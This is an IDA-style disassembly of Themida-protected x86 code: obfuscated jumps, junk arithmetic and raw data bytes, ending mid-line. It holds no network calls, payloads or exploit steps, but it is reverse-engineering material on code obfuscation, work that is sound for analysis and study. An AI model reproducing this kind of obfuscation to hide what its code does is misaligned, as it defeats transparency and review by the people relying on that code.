Themida_:0050D7EEj push 4151h mov [esp], ecx jmp loc_516902 ; --------------------------------------------------------------------------- dd 0C6CDB951h, 6FE9C859h, 81FFFFAAh, 4C4h, 5BD80000h, 0FF977DE9h dd 243C89FFh, 0FFBE45E9h, 90ED81FFh, 1355653h, 8FBBE9EEh dd 0F028FFFFh, 0FF4489E9h, 54535FFFh, 4C3815Bh, 0E9000000h dd 18F8h, 89242C89h, 116F68E5h, 1C890000h, 1675BB24h, 0EB815FE9h dd 5FE91671h, 1CF5C581h, 0C581193Fh, 6647304Fh, 0ED81DD01h dd 6647304Fh, 59C1E953h, 0D7880000h, 66F8285Ah, 0C7B5E95Bh dd 0F529FFFFh, 34D2E9h, 4C48100h, 68000000h, 6C21h, 0BB241C89h dd 2, 34FFDE01h, 0C4815B24h, 4, 31243433h, 0BDE92434h db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519E97: ; CODE XREF: Themida_:005139C1j sub bl, 0EFh sub bl, cl add bl, 0EFh pop ecx sub bl, al jmp loc_51E877 ; --------------------------------------------------------------------------- db 57h dd 813655BFh, 16B95164h, 0E97A6575h, 0FFFFD24Bh ; --------------------------------------------------------------------------- loc_519EB8: ; CODE XREF: Themida_:005178F0j add eax, 1F96311Ch pop ebp jmp loc_50F6BA ; --------------------------------------------------------------------------- db 5Eh dd 53DFF747h, 4E1A98BBh, 0E9DF3154h, 0FFFF9412h ; --------------------------------------------------------------------------- loc_519ED4: ; CODE XREF: Themida_:0051A19Aj mov ebx, 4AC03B8Ah jmp loc_517E09 ; --------------------------------------------------------------------------- dw 91BFh dd 4F420E3Ch, 0FDE9DFF7h, 5F000057h, 4BF57h, 0FDE90000h dd 100000Bh, 242C8BEEh, 2904C483h, 24348BF3h, 81E38953h dd 4C3h, 4C38100h, 87000000h, 815C241Ch, 1E3F39EBh, 0E9C3015Eh dd 0FFFFC813h, 2411B050h, 6445E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_519F2E: ; CODE XREF: Themida_:00514298j not edx add edx, 66BD5486h push esi jmp loc_511138 ; --------------------------------------------------------------------------- dd 4B8h, 24440100h, 48F5804h, 6DB46824h, 14890000h, 46824h dd 148B0000h, 4C48124h, 81000000h, 5004246Ch, 8119161Ch dd 85042444h, 1099179h, 81042454h, 8504246Ch, 56099179h dd 161C50BEh, 24740119h, 148B5E08h, 2726E924h, 0C3810000h dd 4, 4BD55h, 0EB010000h, 7754E95Dh, 0E0D1FFFFh, 0D106E0C1h dd 248335E8h, 0C689644Ch, 2F68158h, 576C8322h, 5E1876BFh dd 4440E9ABh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519FC2: ; CODE XREF: Themida_:0050C269j sub al, 0FFh jmp loc_51C4F3 ; --------------------------------------------------------------------------- db 0F7h, 14h, 24h dd 0BEC2815Ah, 298DB833h, 0EB815AD1h, 15B00E6Bh, 0FFECE7E9h dd 243489FFh, 0FF4CA7E9h, 240C87FFh, 6E58685Ch, 3C890000h dd 81E78924h, 4C7h, 4EF8100h, 87000000h, 0DE9243Ch, 0BB00000Ah dd 2, 2E65C681h, 0DE015A22h, 2E65EE81h, 565B5A22h, 42474FFh dd 0FFA438E9h db 0FFh ; --------------------------------------------------------------------------- loc_51A029: ; CODE XREF: Themida_:00513D07j xor edx, 0E1EEEB5Ah mov esi, edx pop edx push edi jmp loc_513CEA ; --------------------------------------------------------------------------- dd 110700BAh, 5AD3216Ah, 0FF55B3E9h, 0EE015DFFh, 1710EE81h dd 0EE81766Eh, 159D2F59h, 0E9242C8Bh, 0FFFF5CB7h ; --------------------------------------------------------------------------- loc_51A05C: ; CODE XREF: Themida_:0051C1CFj mov ebp, edx pop edx sub edx, 7617799Bh add edx, ebp jmp loc_51B46E ; --------------------------------------------------------------------------- dd 240C8B66h, 1C8B5453h, 4C48124h, 81000000h, 4C3h, 2BA5200h dd 81000000h, 32BA6EBh, 29A9E918h, 585AFFFFh, 4AE9008Fh db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A09B: ; CODE XREF: Themida_:00520A15j mov edx, edi jmp loc_51403E ; --------------------------------------------------------------------------- loc_51A0A2: ; CODE XREF: Themida_:0051CE8Cj mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 4 sub ebp, 62B44A94h add ebp, ebx add ebp, 62B44A94h pop ebx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ecx push edx mov edx, 5BD13B9Bh push ebx mov ebx, 3731B75h jmp loc_50E22D ; --------------------------------------------------------------------------- loc_51A0EC: ; CODE XREF: Themida_:0050E2D2j mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_50F767 ; --------------------------------------------------------------------------- dd 0FF241489h, 0E9042474h, 0FFFFF20Fh ; --------------------------------------------------------------------------- loc_51A10C: ; CODE XREF: Themida_:0051C598j mov [esp], eax mov eax, 58920810h mov ebx, eax mov eax, [esp] push eax push esp pop eax add eax, 4 push edi mov edi, 4 sub eax, 4A6B2D1Eh jmp loc_517A4B ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 6 dd 0EDC7814Fh, 29C23969h, 9FB2E9FAh, 0BF57FFFFh, 4, 0E95FFB01h dd 0FFFF64B6h ; --------------------------------------------------------------------------- loc_51A150: ; CODE XREF: Themida_:0051820Fj push esi jmp loc_516020 ; --------------------------------------------------------------------------- dw 0EEB6h dd 45BDE30h, 2CB82C36h, 60AEE97Dh, 348BFFFFh, 4C48324h dd 0FF6EDBE9h, 242C89FFh, 25316BDh, 8CC7E950h, 1489FFFFh dd 0EC835024h, 243C8904h, 1361DEBFh, 7FAFE96Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A192: ; CODE XREF: Themida_:00513421j push 118Ah mov [esp], ebx jmp loc_519ED4 ; --------------------------------------------------------------------------- loc_51A19F: ; CODE XREF: Themida_:005149D6j movzx eax, al push dword ptr [edi+eax*4] jmp loc_51FAF8 ; --------------------------------------------------------------------------- dw 335Fh dd 2C31242Ch, 242C3324h, 2424D35Ch, 8F31E99Ch, 0C201FFFFh dd 186068h, 241C8900h, 60DABE56h, 0EEC120B3h, 5ACE8102h dd 506A853Ah, 0C305DEB8h, 0E9C60952h, 0FFFF62FCh, 35A7CA81h dd 0E2C10A99h, 81D2F705h, 8B3DEBF2h, 5AD00138h, 0E9C5895Fh dd 1249h, 5358C129h, 3F3902BBh, 0EDB95106h, 81364414h dd 0C87239C1h, 0ACC98103h, 0C11C5813h, 0C18104E9h, 4AB03DF6h dd 8B6E9h, 4BB00h, 0B8500000h, 33974AC3h, 158C601h, 0C3EE81DEh dd 5B33974Ah, 4BD55h, 0EE010000h, 0FF221FE9h db 0FFh ; --------------------------------------------------------------------------- loc_51A24D: ; CODE XREF: Themida_:0051956Aj mov ebp, 1B9F4E6Ah neg ebp sub ebp, 0DD12417Ch sub edx, ebp pop ebp jmp loc_51C041 ; --------------------------------------------------------------------------- dw 0FA68h dd 5871947Eh, 0C105E8C1h, 0E88306E0h, 0C24E35FFh, 8955D861h dd 0E98951C5h, 9FE9CF89h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A283: ; CODE XREF: Themida_:00514EF3j pop eax sub esp, 4 jmp loc_513F93 ; --------------------------------------------------------------------------- loc_51A28F: ; CODE XREF: Themida_:0050F773j mov [esp], esi push eax mov eax, 75F023ABh sub esp, 4 jmp loc_50E310 ; --------------------------------------------------------------------------- loc_51A2A3: ; CODE XREF: Themida_:0050ECBEj shl ebp, 4 add ebp, 5C5E871Ah sub eax, ebp pop ebp sub eax, edx add eax, 32526E2Ah jmp loc_51556E ; --------------------------------------------------------------------------- loc_51A2BB: ; CODE XREF: Themida_:005115E7j or ebx, 14E10229h and ebx, 451064EBh xor ebx, 426708B7h sub ebx, 27EF5D14h add ebx, 504B824Ch add ecx, ebx jmp loc_50E01A ; --------------------------------------------------------------------------- dd 57240C8Bh, 0C781E789h, 4, 8704C783h, 565C243Ch, 0FF74D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_51A2F9: ; CODE XREF: Themida_:0051DA39j sub ecx, 8C8CBEh jmp loc_51EECB ; --------------------------------------------------------------------------- aFrNSv db 'fRN( ',0 db 0 ; --------------------------------------------------------------------------- loc_51A30F: ; CODE XREF: Themida_:0051A5DCj not dh xchg dh, [esp+1] pop ebx push edx jmp loc_51E8DB ; --------------------------------------------------------------------------- loc_51A31C: ; CODE XREF: Themida_:0051FE68j push ebp mov ebp, 4 sub ebx, 7E85714Dh jmp loc_5119EA ; --------------------------------------------------------------------------- db 89h, 0E1h, 81h dd 4C1h, 6DE95200h, 51FFFF9Eh, 0FF52E7E9h, 4C483FFh, 8B240487h dd 84E92424h db 42h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A34F: ; CODE XREF: Themida_:0050B665j sub esi, ebx pop ebx jmp loc_512F1D ; --------------------------------------------------------------------------- db 0BFh dd 4, 875FFE01h, 50E92434h, 0F7FFFF77h, 7BF581D5h, 0E9B6FFEFh dd 0FFFF2721h, 0FF126CE9h, 2474FFFFh, 48F5804h, 0AB1EE924h dd 0F651FFFFh, 80592414h, 800477E9h, 0FFE042E9h, 240428FFh dd 1247E99Ch, 0A32CFFFFh, 0DBB65266h, 0FFFA69E9h, 0C8315BFFh dd 53D8F759h, 0FFEBB3E9h db 0FFh ; --------------------------------------------------------------------------- loc_51A3B5: ; CODE XREF: Themida_:0051C556j mov [esp], ecx pop edx jmp loc_50E489 ; --------------------------------------------------------------------------- loc_51A3BE: ; CODE XREF: Themida_:0051B620j add ebx, esi pop esi sub ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, ebx jmp loc_5128BE ; --------------------------------------------------------------------------- db 55h dd 4BDh, 8BE88900h, 0C481242Ch, 4, 12A2C281h, 0B3E941B7h dd 5CFFFFFDh, 0FF5FE7E9h, 0E7C147FFh, 0D7F74703h, 37C0C781h dd 6BE9B08Eh, 5DFFFFA3h, 0BFFAE953h, 0D701FFFFh, 56AEF81h dd 0E6E9039Ah db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A437: ; CODE XREF: Themida_:00517D50j pop edi sub ecx, edi mov edi, [esp] push esi jmp loc_51CB70 ; --------------------------------------------------------------------------- loc_51A443: ; CODE XREF: Themida_:0051D4C6j xor [esp], dl xor dl, [esp] xor [esp], dl jmp loc_50B5E5 ; --------------------------------------------------------------------------- db 1, 0CEh, 59h dd 4BA52h, 5EE90000h, 2900000Ah, 24048BC6h, 4C481h, 0F6810000h dd 0F24CF15Bh, 15EF101h, 75E981D9h, 0E928A13Bh, 0FFFF4179h ; --------------------------------------------------------------------------- loc_51A480: ; CODE XREF: Themida_:00513CEFj xor esi, edi mov edi, [esp] add esp, 4 jmp loc_52092E ; --------------------------------------------------------------------------- loc_51A490: ; CODE XREF: Themida_:0051A87Bj pop esp or eax, eax jz loc_519074 push dword ptr [edi+1Ch] push ecx jmp loc_514B3D ; --------------------------------------------------------------------------- dw 0F766h aSsi db ')',0 align 2 loc_51A4AA: ; CODE XREF: Themida_:0051A9E2j push edx mov edx, 3DDA00BEh shr edx, 3 jmp loc_50F953 ; --------------------------------------------------------------------------- dd 64FDE952h, 0F66FFFFh, 5166C8AFh, 111BE99Ch, 168FFFFh dd 5B533C6Ah, 0E904EC83h, 1E50h ; --------------------------------------------------------------------------- loc_51A4D8: ; CODE XREF: Themida_:00518BCBj pop ebp add esi, 73E70D03h shr esi, 4 push ecx mov ecx, 4A7238B1h and ecx, 24731C1Bh xor ecx, 4F0E59AEh jmp loc_51CA1A ; --------------------------------------------------------------------------- db 2Dh, 0Eh, 3Ah dd 0C7895AD6h, 0FF754EE9h db 0FFh ; --------------------------------------------------------------------------- loc_51A505: ; CODE XREF: Themida_:00514E36j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_5139BE ; --------------------------------------------------------------------------- loc_51A51A: ; CODE XREF: Themida_:00519B2Dj mov eax, [esp] add esp, 4 add edx, 566469B0h sub edx, ecx sub edx, 566469B0h jmp loc_50C142 ; --------------------------------------------------------------------------- db 89h dd 1ABB241Ch, 81025620h, 0F97A23CBh, 4EC8129h, 89000000h dd 71E92404h, 0FF000045h, 58042474h, 8B24048Fh, 9BE92424h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A55F: ; CODE XREF: Themida_:0050B7EEj not dl inc dl push eax mov ah, 0Fh not ah shr ah, 7 push dx mov dh, ah not dh mov ah, dh pop dx add ah, 86h push ebx push 64C3h mov [esp], ecx mov ch, 0AFh add ch, 0E0h dec ch inc ch add ch, 8Ch mov bl, ch pop ecx neg bl sub bl, 0F9h sub dl, bl pop ebx sub dl, 0D2h add dl, ah jmp loc_511829 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 0FFE5FDE9h, 4C281FFh, 81000000h, 4EAh, 0B5E95200h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A5BF: ; CODE XREF: Themida_:0051E6A3j xor [esp], eax xor eax, [esp] pop esp jmp loc_514DCC ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 0E9000000h, 0FFFF6716h ; --------------------------------------------------------------------------- loc_51A5D8: ; CODE XREF: Themida_:00511068j xchg dh, [esp+1] jmp loc_51A30F ; --------------------------------------------------------------------------- loc_51A5E1: ; CODE XREF: Themida_:00517DFBj add eax, edi jmp loc_50E2C6 ; --------------------------------------------------------------------------- dd 81665D66h, 6607A4EDh, 67EDED81h, 0FF7FB3E9h, 33E95AFFh db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A5FF: ; CODE XREF: Themida_:0050BDCDj xchg edi, [esp] mov esp, [esp] add esp, 4 xor edx, edx sub esp, 4 mov [esp], ebx sub esp, 4 push 35Fh jmp loc_511E94 ; --------------------------------------------------------------------------- loc_51A61D: ; CODE XREF: Themida_:00513EC9j pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_516989 ; --------------------------------------------------------------------------- db 80h, 0F4h, 0A9h dd 8058E220h, 0D0284AC2h, 8124148Bh, 4C4h, 52D80000h, 0AB9E9h db 0 ; --------------------------------------------------------------------------- loc_51A651: ; CODE XREF: Themida_:005112E4j push dword ptr [esp] pop esi push ecx mov ecx, esp push edi mov edi, 4 jmp loc_517F55 ; --------------------------------------------------------------------------- db 53h dd 4EC81h, 4890000h, 1AA7E924h, 0EB830000h, 241C8704h dd 243C895Ch, 42474FFh, 83243C8Bh, 48F04C4h, 31665C24h dd 0E99C2404h, 0FFFF0F51h, 2414F753h, 0B850435Bh, 0D28CC05Dh dd 733E9h db 0 ; --------------------------------------------------------------------------- loc_51A6A5: ; CODE XREF: Themida_:0050F2DEj mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_50C030 ; --------------------------------------------------------------------------- loc_51A6BB: ; CODE XREF: Themida_:0050BEBBj push dword ptr [esp] pop edi add esp, 4 pop eax push ecx mov ecx, 3DBC3739h xor eax, ecx pop ecx push esi mov esi, esp push ecx mov ecx, 254078B0h add ecx, 531A3F41h jmp loc_51188B ; --------------------------------------------------------------------------- dd 4C6815Eh, 68000000h, 44D2h, 0FF765FE9h, 1FE95BFFh, 0B7FFFFE3h dd 5FC780BFh, 285BFD28h, 2434FFEBh, 4C48159h, 2C000000h dd 4D800F5h, 44F5E9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51A716: ; CODE XREF: Themida_:0051FAE1j add eax, 74587D87h shr eax, 7 not eax dec eax sub eax, 95100AA8h xor edi, eax pop eax xor edi, 5224630Dh and edi, 561E5101h jmp loc_511F93 ; --------------------------------------------------------------------------- dw 0EC83h dd 240C8904h, 5755E189h, 4BFh, 2C815700h, 0F023E124h, 75E95D30h dd 29FFFFE9h, 6ABA52DEh, 0F7776052h, 14F752DAh, 0AEE95A24h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A76B: ; CODE XREF: Themida_:00511133j add ebp, 4 xchg ebp, [esp] pop esp add ebx, 4 jmp loc_51571E ; --------------------------------------------------------------------------- loc_51A780: ; CODE XREF: Themida_:0050D8B5j and eax, edi jmp loc_514574 ; --------------------------------------------------------------------------- loc_51A787: ; CODE XREF: Themida_:0051D373j pop esi jmp loc_520241 ; --------------------------------------------------------------------------- loc_51A78D: ; CODE XREF: Themida_:0051DC23j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dd 8B66C361h, 0EC81240Ch, 4, 83242C89h, 8F5404ECh, 4832404h dd 815D0424h, 4C5h, 58516800h, 3C890000h, 4D4CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A7BE: ; CODE XREF: Themida_:005192EEj push dword ptr [esp] pop esi add esp, 4 jmp loc_51A9B6 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0B60F0000h, 87048DC0h, 4EC81h, 2C890000h, 7DA4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A7EA: ; CODE XREF: Themida_:0051B7D8j pop ebp push 5826h mov [esp], ebx mov ebx, 5A4D0176h push 459h mov [esp], esi mov esi, 8054978h not esi xor esi, 0F643E64h push edx mov edx, 42D429E3h push ebp mov ebp, 1C9131B3h jmp loc_51CA85 ; --------------------------------------------------------------------------- dw 0E089h dd 405h, 40500h, 4870000h, 0C2815C24h, 45F0046h, 5CE9DA01h dd 6600005Fh, 5024048Bh, 5379E9h, 81FA0100h, 0BA782BEAh dd 4FE95F22h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A853: ; CODE XREF: Themida_:0050C3E3j push ebp push esi push 6BAC3AD8h jmp loc_50CB87 ; --------------------------------------------------------------------------- loc_51A85F: ; CODE XREF: Themida_:00520DF4j add esi, 361A597Eh jmp loc_51ED02 ; --------------------------------------------------------------------------- loc_51A86A: ; CODE XREF: Themida_:00518C71j push edx jmp loc_51E077 ; --------------------------------------------------------------------------- loc_51A870: ; CODE XREF: Themida_:0050D97Aj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_51A490 ; --------------------------------------------------------------------------- dd 41F8E95Fh, 6859FFFFh, 6F29h, 0E9241489h, 987h, 0C159CD01h dd 0B95107EDh, 2A8A6E61h, 0E959CD21h, 0FFFF9F76h ; --------------------------------------------------------------------------- loc_51A8A8: ; CODE XREF: Themida_:0050C15Dj mov esi, [esp] add esp, 4 and edx, 64607A9Ch push 4604h mov [esp], edi jmp loc_512F6B ; --------------------------------------------------------------------------- db 53h, 0BBh, 0C8h dd 81314A2Fh, 0F771C0EFh, 81DF2904h, 0F771C0C7h, 0EF815B04h dd 9237D298h, 4A5FFA29h, 0E903EAC1h, 4C38h ; --------------------------------------------------------------------------- loc_51A8E8: ; CODE XREF: Themida_:00511424j mov [esp], eax jmp loc_511A4D ; --------------------------------------------------------------------------- dd 5C24048Fh, 0BD242C89h, 23936E11h, 0E351E952h, 0C1BDFFFFh dd 8125523Eh, 833202E5h, 0FDC58177h, 56FA5739h, 8B0E8EBEh dd 4EC812Fh, 89000000h, 13BD242Ch, 0E919F04Ah, 3CA1h, 89243489h dd 4C681E6h, 57000000h, 0FFFA1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_51A93D: ; CODE XREF: Themida_:00516DECj mov eax, [esp] add esp, 4 jmp loc_518D63 ; --------------------------------------------------------------------------- db 0BEh dd 4, 0B5E9F501h, 81FFFF91h, 0FD8F4EEBh, 5BD801DEh, 4BD555Dh dd 0E9000000h, 0FFFF1778h, 4EC81h, 3C890000h, 5C10E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A97A: ; CODE XREF: Themida_:00518334j add esp, 4 mov esi, ebx mov ebx, [esp] add esp, 4 push ebp mov ebp, 7B7B6773h sub esi, ebp mov ebp, [esp] push edi push esp mov edi, [esp] add esp, 4 jmp loc_51E74E ; --------------------------------------------------------------------------- aOu db 'O',0 dd 8159C889h, 3915B8C2h, 2AC5E97Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A9B6: ; CODE XREF: Themida_:0051A7C8j shr ecx, 7 push 62B8h mov [esp], ebx push eax jmp loc_51DCF5 ; --------------------------------------------------------------------------- loc_51A9C7: ; CODE XREF: Themida_:00513EDBj shr ebp, 6 not ebp jmp loc_51CB9A ; --------------------------------------------------------------------------- loc_51A9D1: ; CODE XREF: Themida_:0051EB7Fj push dword ptr [esp] mov edi, [esp] jmp loc_51517E ; --------------------------------------------------------------------------- loc_51A9DC: ; CODE XREF: Themida_:0051DD4Cj push eax mov eax, 33A8551Fh jmp loc_51A4AA ; --------------------------------------------------------------------------- loc_51A9E7: ; CODE XREF: Themida_:0051D2A0j mov [esp], ebx push ecx push 1EA872D2h pop ecx and ecx, 346B2460h shr ecx, 5 shl ecx, 6 xor ecx, 28504084h mov ebx, ecx pop ecx jmp loc_51711D ; --------------------------------------------------------------------------- loc_51AA0B: ; CODE XREF: Themida_:00511155j mov [esp], edx mov edx, 0 jmp loc_50BCA2 ; --------------------------------------------------------------------------- dd 8924248Bh, 5FE92404h, 50FFFF35h, 5A50F089h, 0FF99BCE9h dd 57E95DFFh db 55h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AA33: ; CODE XREF: Themida_:005142F4j xchg eax, [esp] pop esp mov ax, [esp] push eax mov eax, esp jmp loc_510297 ; --------------------------------------------------------------------------- loc_51AA43: ; CODE XREF: Themida_:0051949Bj mov edi, esp push ebp mov ebp, 6C887F2Ch shr ebp, 5 and ebp, 2DFF67FBh or ebp, 1776765h neg ebp xor ebp, 0FE889807h push edx mov edx, 56CD1115h dec edx and edx, 5F942169h add edx, 1B6418E9h sub edx, 2815026h sub edx, 3B45658h jmp loc_50DE03 ; --------------------------------------------------------------------------- dw 2D58h dd 4D025960h, 0BA52D0F7h, 42D9Ah, 0FFA9DAE9h, 24048BFFh dd 4C481h, 89560000h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 6824248Bh, 1875h, 54243C89h, 8B2434FFh, 0A2E9243Ch dd 5E000036h, 354FEB81h, 0BA527F6Eh, 52CF8DF1h, 14E9D301h dd 0F7FFFFF1h, 98F181D1h, 0E981DCEBh, 59C8h, 0E92434FFh dd 0FFFF56FBh, 565FFE29h, 42474FFh, 0FFF665E9h db 0FFh ; --------------------------------------------------------------------------- loc_51AB01: ; CODE XREF: Themida_:0051B172j push ebx push 116C4693h pop ebx dec ebx xor ebx, 207F0218h push ebp mov ebp, 399055C6h dec ebp jmp loc_51EC7E ; --------------------------------------------------------------------------- loc_51AB1B: ; CODE XREF: Themida_:0051CE00j add esi, eax pop eax xor esi, [esp] xor [esp], esi jmp loc_518EE3 ; --------------------------------------------------------------------------- loc_51AB29: ; CODE XREF: Themida_:0050D4FEj or ebx, 68A16B9Bh jmp loc_5160E1 ; --------------------------------------------------------------------------- loc_51AB34: ; CODE XREF: Themida_:00512467j mov [esp], edi jmp loc_517612 ; --------------------------------------------------------------------------- loc_51AB3C: ; CODE XREF: Themida_:0051FB51j pop ebp neg ebp not ebp sub ebp, 16020098h mov ebx, ebp pop ebp jmp loc_51D19D ; --------------------------------------------------------------------------- db 0Dh dd 12A21342h, 0FF66F7E9h db 0FFh ; --------------------------------------------------------------------------- loc_51AB59: ; CODE XREF: Themida_:00516725j pop eax add eax, 4 push 2962h mov [esp], ebx push 7A2844A7h pop ebx shr ebx, 8 sub ebx, 4F370C77h sub ebx, 0B1431BC9h jmp loc_50B600 ; --------------------------------------------------------------------------- loc_51AB81: ; CODE XREF: Themida_:00514EEDj or eax, 6E67588Bh and eax, 68031F10h sub eax, 3CEADB84h add edx, eax pop eax add edx, eax push edi jmp loc_51C87A ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF0A45h, 36A2ED81h, 0EE8165FAh, 2041609Dh, 0C681EE01h dd 2041609Dh, 83242C8Bh, 34FF04C4h, 0C4835A24h, 24348704h dd 0E924248Bh, 1109h, 6D0EE958h, 0E980FFFFh, 59CE303Dh dd 6968C6FEh, 89000070h, 0E951241Ch, 0FFFFCE84h, 0C1815954h dd 4, 0E904C183h, 0FFFF150Ch, 0B1240C89h, 6E9808Eh, 0A2E9CB00h dd 8FFFFF10h, 248B2404h, 24040824h, 9CFE99Ch, 0ED68FFFFh dd 5D3FFF7Fh, 34FFEE31h, 0C4835D24h, 5EF00104h, 4EC81h dd 4890000h, 2474FF24h, 48F5804h, 24248B24h, 9C2404FEh dd 0FF09A0E9h db 0FFh ; --------------------------------------------------------------------------- loc_51AC45: ; CODE XREF: Themida_:00516C09j add eax, 4309338Ah jmp loc_51D7CE ; --------------------------------------------------------------------------- db 81h dd 32439DEEh, 0F3295B0Ch, 0FFFE6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_51AC5D: ; CODE XREF: Themida_:0051E1D2j sub ecx, 4 xchg ecx, [esp] jmp loc_510EC4 ; --------------------------------------------------------------------------- loc_51AC68: ; CODE XREF: Themida_:005160F9j add ebx, ecx pop ecx jmp loc_5182EF ; --------------------------------------------------------------------------- dd 2145A1BBh, 0BEA7E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AC7A: ; CODE XREF: Themida_:0050F8CBj push eax push ecx mov ch, bl mov ah, ch pop ecx mov dh, ah pop eax jmp loc_50BD28 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 5 dd 740D7CBDh, 36E9C221h, 50FFFFDAh, 516691B0h, 0FF1759E9h dd 243C89FFh, 5E0CBA52h, 0EAD151C3h, 0FD0C281h, 0C28155EBh dd 2AE57736h, 17B7C281h, 0D789694Fh, 52D7F75Ah, 0A4DDF4BAh dd 5AD731A0h, 0BDCEB81h, 0FB01516Dh, 0BDCC381h, 525F516Dh dd 0F460DBAh, 0A566E979h, 2958FFFFh, 810C2474h, 20C2444h dd 5E0F144Eh, 4195E9h, 9DC58100h, 8118F139h, 71121DF5h dd 49C4E927h, 835D0000h, 0FAE904C6h, 81FFFF95h, 4C2h, 4C28300h dd 0E9241487h, 0FFFFED78h, 0FF08BCE9h db 0FFh ; --------------------------------------------------------------------------- loc_51AD29: ; CODE XREF: Themida_:0051E277j mov edi, 6E5E8Fh add edi, 0FFFFFFFFh xchg ecx, edi not ecx jmp loc_51D904 ; --------------------------------------------------------------------------- dw 8158h dd 4C4h, 30C18100h, 812BBA5Ah, 7BCB93F1h, 59CD318Eh, 1058EE81h dd 0BEE9144Fh, 2DFFFFBFh, 43C3835h, 0A668D801h, 0E9000022h dd 0FFFFA923h, 4C481h, 0BA520000h, 24BF4A13h, 0BFCE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AD7E: ; CODE XREF: Themida_:00515E8Aj add al, 7Bh add al, dh sub al, 7Bh sub al, 38h add al, 50h sub al, 97h pop edx push edx push ecx mov ch, 80h mov dl, ch pop ecx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_517510 ; --------------------------------------------------------------------------- loc_51ADA7: ; CODE XREF: Themida_:005153DAj and ecx, 3E93660Dh jmp loc_515C8A ; --------------------------------------------------------------------------- dw 0E7C0h dd 0C0EF8006h, 806EB151h, 0CF007FE9h, 0FFF98859h, 1C8B2434h dd 4C48324h, 8804C483h, 0E95966CBh, 0FFFF88F8h, 158C329h dd 0C1815BD9h, 4, 1A868h, 240C8900h, 42474FFh, 0E92434FFh dd 0FFFFE777h, 4303B951h, 0E9816C1Dh, 4047499Dh, 0FCF4F181h dd 0CF091840h, 1BE78159h, 810A3235h, 967184CFh, 2516E952h dd 33680000h, 8900007Fh, 0BE562404h, 0B2E1E4Ah, 5106C681h dd 79E949B1h, 1FFFF67h, 0D4C781EFh, 0E95F5964h, 0FFFF967Fh dd 0EA895258h, 242C8152h, 39493405h, 0C1ECE95Fh, 0C281FFFFh dd 4, 0FFB987E9h db 0FFh ; --------------------------------------------------------------------------- loc_51AE61: ; CODE XREF: Themida_:00511813j xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_51DBBF ; --------------------------------------------------------------------------- db 28h, 0F0h, 5Ah dd 4E9CB04h, 66000044h, 660433BFh, 0E904EFC1h, 0FFFF3E52h ; --------------------------------------------------------------------------- loc_51AE8C: ; CODE XREF: Themida_:005140D5j push ecx mov ecx, esp jmp loc_51AF4D ; --------------------------------------------------------------------------- loc_51AE94: ; CODE XREF: Themida_:005189A2j xor [esp+4], edx pop edx mov ebx, [esp] add esp, 4 xor ebx, 206E2BB6h push dword ptr [esp] jmp loc_519C1D ; --------------------------------------------------------------------------- aZ4S db '4$\:',0 align 2 dw 0F729h dd 0FF54DFE9h, 0E8B850FFh, 29143A1Ah, 0BB5E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AECA: ; CODE XREF: Themida_:0051C8CAj xor eax, 7EBC2B94h sub esi, eax mov eax, [esp] add esp, 4 mov ebp, esi pop esi jmp loc_51EDB9 ; --------------------------------------------------------------------------- loc_51AEDF: ; CODE XREF: Themida_:00516299j shr ebx, 3 xor ebx, 6B4CCD87h jmp loc_50F04D ; --------------------------------------------------------------------------- db 0C0h, 0E9h, 6 dd 0F647C180h, 45E980D1h, 8059CC08h, 59E9FFECh, 66FFFF9Fh dd 81240C8Bh, 4ECh, 24148900h, 3B1D68h, 7188E900h, 0F868FFFFh dd 89000007h, 8B54243Ch, 8951243Ch, 4C181E1h, 0E9000000h dd 0FFFF5295h, 80BDB753h, 0E7803BE7h, 3EFC00Ch, 0F6E3F780h dd 3EF780D7h, 